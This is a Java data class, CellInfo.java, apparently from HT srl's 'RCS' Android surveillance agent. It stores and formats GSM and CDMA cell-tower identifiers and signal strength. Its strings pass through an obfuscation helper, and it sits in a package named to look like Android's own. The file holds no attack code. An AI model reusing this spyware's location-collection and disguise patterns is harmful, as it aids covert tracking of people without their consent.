/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : CellInfo.java
 * Created      : 6-mag-2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci;

import com.android.mm.M;

public class CellInfo {
	public int mcc = -1;
	public int mnc = -1; // sid
	public int lac = -1; // nid
	public int cid = -1; // bid

	public int sid;
	public int nid;
	public int bid;

	public int rssi;
	public boolean valid;
	public boolean gsm;
	public boolean cdma;

	public void setGsm(int mcc, int mnc, int lac, int cid, int rssi) {
		gsm = true;
		cdma = false;
		valid = true;

		this.rssi = rssi;

		this.mcc = mcc;
		this.mnc = mnc;
		this.lac = lac;
		this.cid = cid;
		
		if (this.mcc < 0 || this.mnc < 0 || this.lac < 0 || this.cid < 0) {
			valid = false;
		}
	}

	public void setCdma(int sid, int nid, int bid, int rssi) {
		gsm = false;
		cdma = true;
		valid = true;

		this.rssi = rssi;

		this.sid = sid;
		this.nid = nid;
		this.bid = bid;

		this.mnc = sid;
		this.lac = nid;
		this.cid = bid;
		
		if (this.sid < 0 || this.nid < 0 || this.bid < 0) {
			valid = false;
		}
	}

	@Override
	public String toString() {

		final StringBuffer mb = new StringBuffer();

		if (gsm) {
			mb.append(M.e("MCC: ") + mcc); //$NON-NLS-1$
			mb.append(M.e(" MNC: ") + mnc); //$NON-NLS-1$
			mb.append(M.e(" LAC: ") + lac); //$NON-NLS-1$
			mb.append(M.e(" CID: ") + cid); //$NON-NLS-1$
		}

		if (cdma) {
			mb.append(M.e("SID: ") + sid); //$NON-NLS-1$
			mb.append(M.e(" NID: ") + nid); //$NON-NLS-1$
			mb.append(M.e(" BID: ") + bid); //$NON-NLS-1$
		}

		return mb.toString();
	}
}
